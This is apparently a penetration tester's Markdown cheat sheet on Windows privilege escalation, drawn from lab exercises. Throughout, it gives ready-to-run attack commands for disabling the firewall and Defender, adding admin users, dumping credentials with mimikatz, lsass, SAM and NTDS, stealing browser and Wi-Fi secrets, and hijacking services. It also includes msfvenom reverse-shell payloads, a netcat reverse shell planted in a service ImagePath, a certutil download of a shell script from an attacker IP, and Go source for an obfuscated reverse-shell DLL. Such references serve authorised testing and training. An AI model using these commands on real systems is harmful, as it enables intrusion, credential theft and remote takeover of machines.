# Windows Privilege Escalation

## Windows Privilege Escalation

### General and Useful shortlist command

```powershell
powershell -ex bypass
```

* add user

```powershell
net user /add username password
```

* add user to group

```powerhsell
net localgroup groupname /add user
net group "Exchange Windows Permissions" svc-alfresco /add /domain
```

* Enable rdp (need administrator)

```powershell
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

* Disable firewall

```powershell
netsh advfirewall set allprofiles state off
```

* Enable only remote desktop

```powershell
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
```

* Using nxc

```powershell
netexec smb $IP -u administrator -p pass123 -M rdp -o ACTION=enable
```

* Check permission on file or dir

```powershell
cacls .
icacls .
```

* share smb (on attacker machine)

```bash
impacket-smbserver -smb2support nameshare folder 
```

* Run as

```poweshell
run as /user:domain\samaccountname cmd.exe
```

* Sharing folder using `Dir properties` -> <https://youtu.be/jBfdlLybMek?si=qd9bu1ch\\_VPBO4Cm\\&t=8408>

### Initial Enumeration

#### User and Groups Enumeration

* Logged-In user

```powershell
query user
```

* Current User

```powershell
echo %USERNAME
```

* Privilges

```powershell
whoami /priv
whoami /alll
```

* Groups Information

```powershell
whoami /groups
```

* All User on local machine

```powershell
net user
net user /domain 
```

* All grous

```powershell
net localgroup
```

* Details about user

```powerhsell
net user samname 
net user samname /domain
```

* Detail about a group

```powershell
net localgroup administrators
```

* Pass policy

```powershell
net accounts
```

* Local User Description

```powershell
Get-LocalUser
```

* Computer Description

```powershell
Get-WmiObject -Class Win32_OperatingSystem | select Description
```

#### OS and Process Enumeration

* Info About OS

```powershell
Get-WmiObject Win32_OperatingSystem | select -Property *
```

* Process Running

```powershell
tasklist /svc
```

* Env variables `set`
* Systeminfo

```powershell
systeminfo
```

* Patches and Updates

```powershell
wmic qfe
Get-HotFix | ft -AutoSize
```

* Installed programs

```powershell
wmic product get name
Get-WmiObject -Class Win32_Product |  select Name, Version
Get-CimInstance -ClassName Win32_Product
```

* Running Programs

```powershell
Get-WmiObject Win32_Process | Format-List *
```

* Running process and owner (not always work)

```powershell
# other solution
Get-WmiObject Win32_Process | ForEach-Object {
    $process = $_
    $owner = $process.GetOwner()
    [PSCustomObject]@{
        ProcessName = $process.Name
        ProcessId   = $process.ProcessId
        User        = if ($owner.ReturnValue -eq 0) { "$($owner.Domain)\$($owner.User)" } else { "N/A" }
    }
} | Format-Table -AutoSize


# other solution
Get-CimInstance Win32_Process | ForEach-Object {
    $process = $_
    $owner = Invoke-CimMethod -MethodName GetOwner   -InputObject $process
    Write-Host $process.name $owner
} 

# other solution
$owners = @{} 
gwmi win32_process |% {try {$owners[$_.handle] = $_.getowner().user} catch{} } 
(get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}})
```

* Get process on main windows (displayed)

```powershell
gps | ? { $_.MainWindowTitle }
```

* Running Process with open port

```powershell
netstat -ano
```

* Get all services

```powershell
Get-CimInstance -ClassName Win32_service
sc query
sc query state= all | findstr "SERVICE_NAME"
```

* Get info about services

```powershell
Get-Service "ServiceName"
```

* Get all scheduled tasks

```powershell
schtasks /query /fo LIST /v
```

* Enumerate installed programs

```powershell
wmic product get name
```

* Enumerate local ports

```powershell
netstat -ano | findstr 6064
```

* Enumerate Process ID

```powershell
get-process -Id 3324
gps -Id 3324
```

* Enumerate Running Service
  * `get-service | ? {$_.DisplayName -like 'Druva*'}`
  * `Get-CimInstance Win32_Service | Format-List *`
* Modifying PowerShell Execution Policy
  * `Set-ExecutionPolicy Bypass -Scope Process`
* Installed Programs without permission (works on winrm)

```powershell
Get-ItemProperty 'HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*'  | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
Get-ItemProperty 'HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'  | Where-Object { $_.DisplayName } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate
```

* Search program by name

```powershell
Get-CimInstance -ClassName Win32_Product | Where-Object { $_.Name -like "*name*" } | Select-Object Name, Version
```

#### Process Monitor

* procmon from powershell

```powershell
while($true){  
	$process = Get-WmiObject Win32_Process | Select-Object CommandLine
	Start-Sleep 1  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
	Compare-Object -ReferenceObject $process -DifferenceObject $process2}
```

* sysinternals

```powershell
Procmon.exe
```

* How use procmon from command line

```powershell
procmon.exe /Minimized /Quiet /Backingfile C:\Logs\procmon.pml
Start-Sleep -Seconds 10
procmon.exe /Terminate
procmon.exe /OpenLog C:\Logs\procmon.pml /SaveAs C:\Logs\procmon.csv /SaveFilter /Minimized
```

* Enumerate all services and process and print also current owner

```powershell
# Function to get the owner of a process
function Get-ProcessOwner {
    param (
        [System.Diagnostics.Process]$Process
    )
    try {
        $processHandle = $Process.Handle
        $processSecurity = Get-WmiObject Win32_Process -Filter "Handle = '$processHandle'"
        $owner = $processSecurity.GetOwner()
        return "$($owner.Domain)\$($owner.User)"
    } catch {
        return "N/A"
    }
}

# Enumerate all processes
Write-Host "Processes:"
Get-Process | ForEach-Object {
    $owner = Get-ProcessOwner $_
    Write-Host "Process: $($_.Name) - ProcessId: $($_.Id) - Owner: $owner"
}

# Function to get the owner of a service
function Get-ServiceOwner {
    param (
        [string]$ServiceName
    )
    try {
        $service = Get-WmiObject Win32_Service -Filter "Name = '$ServiceName'"
        $owner = $service.GetOwner()
        return "$($owner.Domain)\$($owner.User)"
    } catch {
        return "N/A"
    }
}

# Enumerate all services
Write-Host "`nServices:"
Get-Service | ForEach-Object {
    $owner = Get-ServiceOwner $_.Name
    $serviceId = $_.Id
    Write-Host "Service: $($_.Name) - ServiceId: $serviceId - Owner: $owner"
}

```

#### Network

* Get Info About IP and network card

```powershell
ipconfig /all
```

* ARP Table:

```powershell
arp -a
```

* Routing table

```powershell
route print
```

#### Enumeration Protection

* Windows Defender

```powershell
Get-MpComputerStatus
```

* AppLocker

```powershell
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```

* Test AppLocker

```powershell
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
```

* Disable realtime

```powershell
Set-MpPreference -DisableRealtimeMonitoring $true
```

#### Named Pipe

* [NamedPipes](https://www.ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)

#### Searching File & Creds

**Searching File**

```powershell
tree /f /a 
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml
```

* Find file

```powershell
dir /s/b filename
dir /s/b \filename # on all system
dir /s/b *.log
dir /s/b *.txt
dir /s/b *.doc*
dir /s/b *.zip
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

* Search only file name:

```powershell
findstr /SI /M "password" *.xml *.ini *.txt
```

* Search file content CMD:

```powershell
findstr /si password *.xml *.ini *.txt *.config 
```

* Search file content PowerShell

```powershell
select-string -Path <path>*.txt -Pattern password
```

* Search file extension CMD

```powershell
where /R C:\ *.config
```

* Search file extension PowerShell

```powershell
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore
```

**Interesting File/Directories**

* From file extract extract password

```powershell
gc 'C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password
```

* Interesting file

```powershell
Unattend.xml
```

* Sticky notes

```powershell
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
```

* PowerShell history

```powershell
(Get-PSReadLineOption).HistorySavePath
gc (Get-PSReadLineOption).HistorySavePath
C:\Users\<username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

**Powershell Command**

```powershell
Get-Credential API
Import-Clixml
Export-Clixml
runas /savecred /user:inlanefreight\bob "COMMAND HERE"
```

**Saved Credentials List**

```powershell
cmdkey /list
```

* Execute SharpChrome for extracting data from DPAPI - <https://github.com/GhostPack/SharpDPAPI/blob/master/README.md>

```powershell
SharpChrome.exe logins /unprotect
```

* Password Manager
  * Keepass -> `kdbx` -> `keepass2jhon` -> `hashcat/jhon`
* Mail
  * `MailSniper`
* **Lazagne** - <https://github.com/AlessandroZ/LaZagne> - Credentials recovery project

```powershell
lazagne.exe all
```

* SessionGopher

```powershell
Import-Module .\SessionGopher.ps1 
Invoke-SessionGopher -Target WINLPE-SRV01
```

**Clear-Text Password in the Registry**

* Windows Autologon - If 1 is enabled

```powershell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

* Putty session file

```powershell
Computer\HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\<SESSION NAME>
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
```

**Wifi Password**

```powershell
netsh wlan show profile
netsh wlan show profile  name="Wifi" key=clear
```

**VHDX/VMDK**

* Mount Linux

```powershell
guestmount -a SQL01-disk1.vmdk -i --ro /mnt/vmdk
guestmount --add WEBSRV10.vhdx  --ro /mnt/vhdx/ -m /dev/sda1
```

* Windows -> Mount-VHD [Mount-VHD](https://learn.microsoft.com/en-us/powershell/module/hyper-v/mount-vhd?view=windowsserver2019-ps)
* Resources -> [Extract VMDK](https://www.nakivo.com/blog/extract-content-vmdk-files-step-step-guide/)

#### Misconfiguration

* AlwaysInstallelevated

```powershell
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

* Exploit

```powershell
Import-Module .\PowerUp.ps1 
Write-UserAddMSI
```

* Generating MSI

```powershell
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi
```

* Execute MSI

```powershell
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart
```

* BypassUAC - user account control
  * Bypass-UAC - [Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)

**Share with write permssion**

* SCF on a File Share
  * Icon on attacker machine UNC `IconFile=\\10.10.14.3\share\legit.ico`
  * Starting `Responder`/`Inveigh`/`InveighZero`
  * Cracking using `hashcat -m 5600`
* Malicious `lnk` file - **LnkBomb** [LnkBomb](https://github.com/dievus/lnkbomb)

```powershell
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

### Pillaging

* Enumerate Installed applications

```powershell
dir "C:\Program Files"
```

* Using Registry Key

```powershell
$INSTALLED = Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* |  Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED += Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, InstallLocation
$INSTALLED | ?{ $_.DisplayName -ne $null } | sort-object -Property DisplayName -Unique | Format-Table -AutoSize
```

* Enumerate Installed services
  * Websites
  * File Shares
  * Databases
  * Directory Services (such as Active Directory, Azure AD, etc.)
  * Name Servers
  * Deployment Services
  * Certificate Authority
  * Source Code Management Server
  * Virtualization
  * Messaging
  * Monitoring and Logging Systems
  * Backups
* Sensitive Data
  * Keylogging
    * Clipboard - [Invoke-Clipboard](https://github.com/inguardians/Invoke-Clipboard/blob/master/Invoke-Clipboard.ps1)
  * Screen Capture
  * Network Traffic Capture
  * Previous Audit reports
* User Information
  * History files, interesting documents (.doc/x,.xls/x,password/.pass, etc)
  * Roles and Privileges
  * Web Browsers
    * Firefox `%APPDATA%\Mozilla\Firefox\Profiles\<RANDOM>.default-release`
      * `copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .`
      * CookieExtractor [CookieExtractor](https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/cookieextractor.py)
    * Chrome
      * SharpChromium - [SharpChromium](https://github.com/djhohnstein/SharpChromium)
      * Fix copy for Invoke-SharpChromium `copy "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\Cookies" "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Cookies"`
      * InvokeSharpChromium - [Invoke-SharpChromium](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1)
  * IM Clients
    * Slack/Teams

#### If Administrator privilege, we can run mimikatz

* Run mimikatz mimikatz

```powershell
mimikatz.exe
privilege:debug
log
sekurlsa::logonpassword
```

### Windows User Privileges

#### SeImpersonate and SeAssignPrimaryToken

* [JuicyPotato](https://github.com/ohpe/juicy-potato)
* [PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
* [RoguePotato](https://github.com/antonioCoco/RoguePotato)

#### SeDebugPrivilege

* Using procdump

```powershell
procdump.exe -accepteula -ma lsass.exe lsass.dmp
```

```powershell
mimikatz.exe 
log
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```

* Exploit SYSTEM from child process
* Get info about winlogon

```powershell
tasklist
```

* [psgetsys.ps1](https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1)

```powershell
# proc id of winlogon of lsass
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(16452, "c:\windows\System32\cmd.exe", "")
.\psgetsys.ps1; [MyProcess]::CreateProcessFromParent((Get-Process "lsass").id, "c:\windows\System32\cmd.exe", "")
```

#### SeTakeOwnershipPrivilege

* [Enable Privilge](https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1)

```powershell
Import-Module .\Enable-Privilege.ps1
```

* <https://github.com/fashionproof/EnableAllTokenPrivs>

```powershell
.\EnableAllTokenPrivs.ps1
```

* Choosing Target File

```powershell
Get-ChildItem -Path 'C:\\Department Shares\\Private\\IT\\cred.txt' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
```

* Checking File Ownership

```powershell
cmd /c dir /q 'C:\\Department Shares\\Private\\IT'
```

* Take Ownership

```powershell
takeown /f 'C:\\Department Shares\\Private\\IT\\cred.txt'
```

* Modify FILE ACL

```powershell
icacls 'C:\\Department Shares\\Private\\IT\\cred.txt' /grant htb-student:F
```

### Windows Groups Privileges

#### Backup Operators

* Enable Flag SeBackupPrivileg <https://github.com/giuliano108/SeBackupPrivilege>
* Resources -> [Exploit](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/SeBackupPrivilege.md)

```poiwershell
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
```

* Start backup

```powershell
diskshadow.exe
DISKSHADOW> set verbose on
DISKSHADOW> set metadata C:\Windows\Temp\meta.cab
DISKSHADOW> set context clientaccessible
DISKSHADOW> set context persistent
DISKSHADOW> begin backup
DISKSHADOW> add volume C: alias cdrive
DISKSHADOW> create
DISKSHADOW> expose %cdrive% E:
DISKSHADOW> end backup
DISKSHADOW> exit 
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```

* save system

```powershell
reg save HKLM\\SYSTEM SYSTEM.SAV`
reg save hklm\system C:\temp\system.hive`
```

* save sam

```powershell
reg save HKLM\SAM SAM.SAV
reg save hklm\sam C:\temp\sam.hive
```

* extracting using impacket

```bash
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
```

* Extracting Cred from NTDS.dit

```powershell
Install-Module DSInternals -Force
Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\\SYSTEM # or system.sav dipende da come lo abbiamo salvato prima
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key
```

* Extracting

```powershell
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```

* Create a copy

```powershell
robocopy /B E:\Windows\\NTDS .\ntds ntds.dit
```

#### Event Log Readers

```powershell
net localgroup "Event Log Readers"
wevtutil qe Security /rd:true /f:text | Select-String "/user"
wevtutil qe Security /rd:true /f:text /r:share01 /u:julie.clay /p:Welcome1 | findstr "/user"
```

#### DnsAdmins

* Generate malicious dll

```powershell
msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll
```

* Get info about group DNSAdmins

```powershell
Get-ADGroupMember -Identity DnsAdmins
```

* Change dll

```powershell
dnscmd.exe /config /serverlevelplugindll C:\\Users\\netadm\\Desktop\\adduser.dll
```

* Restart DNS Services (could be distruptive)

```powershell
sc stop DNS
sc start DNS
```

* Get SID user

```powershell
wmic useraccount where name="netadm" get sid
```

* Check permission on `DNSService`

```powershell
sc.exe sdshow DNS
```

#### Hyper-V Administrators

* [From Hyper-V Administrator to Domain Admins](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)

#### Print Operators - SeLoadDriverPrivilege

```powershell
whoami /priv
```

* [EnableSeLoadDriverPrivilege.cpp](https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp) Build

```powershell
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
```

* [Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - Add Reference Driver

```powershell
reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v ImagePath /t REG_SZ /d "\\??\\C:\\Tools\\Capcom.sys"
```

* EnablePrivilges

```powershell
EnableSeLoadDriverPrivilege.exe
```

* Verifiy Driver is Loaded

```powershell
.\DriverView.exe /stext drivers.txt
cat drivers.txt | Select-String -pattern Capcom
```

* Use [ExploitCapcom](https://github.com/tandasat/ExploitCapcom) `.\ExploitCapcom.exe`
* Use [EoPLoadDriver](https://github.com/TarlogicSecurity/EoPLoadDriver/)
* Clean

```powershell
reg delete HKCU\\System\\CurrentControlSet\\Capcom
```

#### Server Operators

* Find Services that run in SYSTEM ad es., AppReadiness

```powershell
sc qc AppReadiness
```

* Check Permission with PsService

```powershell
c:\Tools\PsService.exe security AppReadiness
```

* Change binPath

```powershell
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"
```

* Start Service

```powershell
sc start AppReadiness
```

### User Account Control

* Checking if UAC is enabled

```powershell
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
```

* Checking UAC Level

```powershell
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
```

* Checking Windows Version

```powershell
[environment]::OSVersion.Version
```

* Reviewing PATH

```powershell
cmd /c echo %PATH%`
```

* UAC bypass
  * UACME - [UACME](https://github.com/hfiref0x/UACME)
  * UAC Mocking dir - [uac-bypass-by-mocking-trusted-directories](https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e)
  * Bypass UAC - [Bypass-UAC](https://github.com/FuzzySecurity/PowerShell-Suite/tree/master/Bypass-UAC)

### Weak Permission

#### Permissive File System ACLs

* Using

```powershell
Sharphound.exe audit
```

for searching services modifiable ad es., `SecurityService`

* Check permission

```powershell
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

* Change executable

```powershell
cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
```

* Restart Services

```poweshell
sc start SecurityService
```

#### Weak Service Permissions

* Run

```powershell
Sharphound.exe audit
```

* Using `accesschk` for reviewing permission about services

```powershell
accesschk.exe /accepteula -quvcw WindscribeService
```

* Query all services

```powershell
sc query
```

* Change binpath

```powershell
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
```

* Stop service

```powershell
sc stop WindscribeService
```

* Restart

```powershell
sc start WindscribeService
```

* Reverting to initial state

```powershell
sc config WindScribeService binpath="c:\\Program Files (x86)\\Windscribe\\WindscribeService.exe"
sc start WindScribeService`
```

* In casi di permesso di shutdown e il servizio è autorun

```powershell
shutdown -r -t 1
```

#### Unquoted Services

* Querying service

```powershell
sc qc SystemExplorerHelpService
```

* Searching unquoted services

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
```

#### Scheduled Task

```powershell
schtasks /query /fo LIST /v
schtask /query /fo LIST /v /FN "Name"
Get-ScheduledTask | select TaskName,State
```

### Permissive Registry ACLs

* Checking Weak Service ACLs in Registry

```powershell
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
```

* Changing ImagePath with PowerShell

```powershell
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
```

* Modifiable Registry Autorun Binary

```powershell
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
```

* <https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html#privilege-escalation-with-autoruns>
* <https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/LogonAutostartExecutionRegistryRunKeys.md>

### Kernel Exploit

* List vuln windows: <https://msrc.microsoft.com/update-guide/vulnerability>

```powershell
wmic qfe list brief
```

* Watson: [Watson](https://github.com/rasta-mouse/Watson)
* Wesng: [wesng](https://github.com/bitsadmin/wesng)

### LOLBAS

* Collection
  * LOLBAS - [LOLBAS](https://lolbas-project.github.io)
* Transfer file

```powershell
certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat
```

* Encodign File

```powershell
certutil -encode file1 encodedfile
```

* Decoding file

```powershell
Certutil -decode encodedfile file2
```

* Execute dll

```powershell
rundll32.exe file.dll,methodName
```

### DLL Injection/Hijacking

* DLL injection
  * is a method that involves inserting a piece of code, structured as a Dynamic Link Library (DLL), into a running process.
  * Execute an arbitrary DLL inside another process
    1. Locate the process to inject the malicious DLL `CreateToolhelp32Snapshot`, `Process32First`, `Process32Next`
    2. Open the process: `GetModuleHandle`, `GetProcAddress`, `OpenProcess`
    3. Write the path to the DLL inside the process: `VirtualAllocEx`, `WriteProcessMemory`
    4. Create a thread in the process that will load the malicious DLL CreateRemoteThread, LoadLibrary
    5. Other functions to use: NTCreateThreadEx, RtlCreateUserThread
  * `LoadLibrary`
  * `Manual Mapping`
  * Resources
    * DLL Injection Hacktips - [DLL Injection](https://hacktips.it/dll-injection/)
    * IredTeam DLL Injection - [IredTeam-DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection)
* DLL Hijacking
  * `DLL Hijacking` is an exploitation technique where an attacker capitalizes on the Windows DLL loading process.
    * **DLL Replacement**: replace a legitimate DLL with an evil DLL. Combined with DLL Proxying
    * **DLL Search Order Hijacking**: Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL Ref -\[Ref.]
    * **Phantom DLL hijacking**: Drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load.
    * **DLL redirection**: change the location in which the DLL is searched for, e.g. by editing the %PATH% environment variable, or `.exe.manifest` / `.exe.local` .Ref \[Ref.]
    * **WinSxS DLL replacement**: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often DLL side-loading. Ref - \[Ref.]
    * **Relative path DLL Hijacking**: Copy the legitimate application to a user-writable folder, alongside the evil DLL.
  * Find Missing DLL
    * `procmon` → `filter` → `Results contain not Found` and → `Paths end with .dll`
  * To escalate privileges
    * Identify a process that operates or will operate under different privileges (horizontal or lateral movement), which is lacking a DLL.
    * Ensure write access is available for any directory in which the DLL will be searched for `icacls “Path-To-Dir”`
  * Tools
    * `winpeas`
    * `siofra` - [Siofra](https://github.com/Cybereason/siofra)
    * `powersploit`
      * `Find-ProcessDLLHijack`
      * `Find-PathDLLHijack`
      * `Write-HijackDll`
  * Resources
    * DLL Hijacking Hacktricks - [DLL Hijacking](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html)
    * DLL Hijacking Prives - [DLL Hijacking PrivEsc](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?#escalating-privileges)
    * Hacking dlls in windows - [hijacking-dlls-in-windows](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)
    * tcapt dll hijacking - [tcapt-dll-hijacking](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
    * DLL Hijacking - [DLL Hijacking](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
    * [IPPSEC DLL Hijacking](https://www.youtube.com/watch?v=3eROsG_WNpE)
* DLL Reflective
  * Resources
    * Reflective DLL Injection: [Reflective DLL Injection](https://github.com/stephenfewer/ReflectiveDLLInjection)
* DLL SideLoading
  * Resources
    * Dll sideloading proxying [dll-sideloading-proxying](https://book.hacktricks.wiki/en/windows-hardening/av-bypass.html?#dll-sideloading--proxying)
* DLL Proxying
  * Basically a **Dll proxy** is a Dll capable of **execute your malicious code when loaded** but also to **expose** and **work** as **exected** by **relaying all the calls to the real library**.
  * Get RevShell (**N.B. is very important arch used**)

```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f dll -o injection.dll
msfvenom -p windows/shell_reverse_tcp LHOST=172.23.150.167 LPORT=4444 -f dll > injection.dll
```

* `msfconsole` -> `use multi/handler`
* Write Code
  * [DLL Write](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dll-hijacking/index.html?#your-own)
* How to compile dll
* **x64**

```bash
x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
```

* **x86**

```bash
i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
```

* Link to `Windows Sockets 2`, necessary for rev shell

```powershell
i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
```

* Alternative use `VisualStudio e C#`
* Using **go**:

```go
package main

import (
  "C"
  "os/exec"
  "net"
)

//export VerifyThemeVersion 
func VerifyThemeVersion(){
  main()
}

func main() {
        dst := "192.168.1.152" // set ip
        pnum := "9999"  // set port
        connstring := dst + ":" + pnum
        prot := "tcp"
        netData, _ := net.Dial(prot, connstring)
        shell := exec.Command("pow" + "er" + "she" + "ll.e" + "xe")
        shell.Stdin=netData
        shell.Stdout=netData
        shell.Stderr=netData
        shell.Run()
}

```

```bash
# x86
OOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared -o main.dll reverse_shell.go  
#amd64
GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o evil.dll ./calculator.go   
```

* How to check if DLL work

```powershell
rundll32.exe shell32.dll,Control_RunDLL C:\\Users\\sarah\\AppData\\Local\\Microsoft\\WindowsApps\\srrstr.dll
```

```powershell
rundll32.exe injection.dll,0
```

* Tools
  * Procmon
  * Process Explorer
  * VisualStudio

### Resources

* [Payload windows privesc](https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/)
* [hacktricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html)
* [LOLBAS](https://lolbas-project.github.io)
* <https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/tree/master>

### Tools

* [WinPEAS](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS)
* [PowerUP](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)
* [SharpUp](https://github.com/GhostPack/SharpUp)
* [Seatbelt](https://github.com/GhostPack/Seatbelt)
* [JAWS](https://github.com/411Hall/JAWS)
* [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
* [Watson](https://github.com/rasta-mouse/Watson)
* [Lazagne](https://github.com/AlessandroZ/LaZagne)
* [MailSniper](https://github.com/dafthack/MailSniper)
* [wesng](https://github.com/bitsadmin/wesng)
* [Sysinternal](https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite)
* [SharpChrome](https://github.com/GhostPack/SharpDPAPI)
* [Snaffler](https://github.com/SnaffCon/Snaffler)
* [PSSQLite](https://github.com/RamblingCookieMonster/PSSQLite)
* [DLL Export Viewer](https://www.nirsoft.net/utils/dll_export_viewer.html)
* [Responder](https://github.com/lgandx/Responder)
* [Inveigh](https://github.com/Kevin-Robertson/Inveigh)
* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
* [SharpChromium](https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1)
* [BeRoot](https://github.com/AlessandroZ/BeRoot)
